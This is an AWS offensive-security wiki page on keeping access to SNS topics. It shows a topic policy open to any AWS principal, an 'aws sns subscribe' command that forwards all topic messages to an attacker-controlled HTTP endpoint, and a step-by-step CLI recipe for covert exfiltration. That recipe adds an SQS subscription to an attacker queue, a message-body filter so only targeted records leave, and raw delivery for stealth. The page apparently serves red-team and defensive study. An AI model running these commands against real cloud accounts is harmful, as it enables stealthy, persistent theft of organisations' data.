AWS - SNS Persistence

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SNS

For more information check:

AWS - SNS Enum

Persistence

When creating a SNS topic you need to indicate with an IAM policy who has access to read and write. It's possible to indicate external accounts, ARN of roles, or even "*".
The following policy gives everyone in AWS access to read and write in the SNS topic called MySNS.fifo:

{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}

Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could create subscribers for all the topics.

Note that if the topic is of type FIFO, only subscribers using the protocol SQS can be used.

aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>

Covert, selective exfiltration via FilterPolicy on MessageBody

An attacker with sns:Subscribe and sns:SetSubscriptionAttributes on a topic can create a stealthy SQS subscription that only forwards messages whose JSON body matches a very narrow filter (for example, {"secret":"true"}). This reduces volume and detection while still exfiltrating sensitive records.

Potential Impact: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.

Steps (AWS CLI):

• Ensure the attacker SQS queue policy allows sqs:SendMessage from the victim TopicArn (Condition aws:SourceArn equals the TopicArn).

• Create SQS subscription to the topic:

  aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  

• Set the filter to operate on the message body and only match secret=true:

  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  

• Optional stealth: enable raw delivery so only the raw payload lands in the receiver:

  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  

• Validation: publish two messages and confirm only the first is delivered to the attacker queue. Example payloads:

  {"secret":"true","data":"exfil"}
  {"secret":"false","data":"benign"}
  

• Cleanup: unsubscribe and delete the attacker SQS queue if created for persistence testing.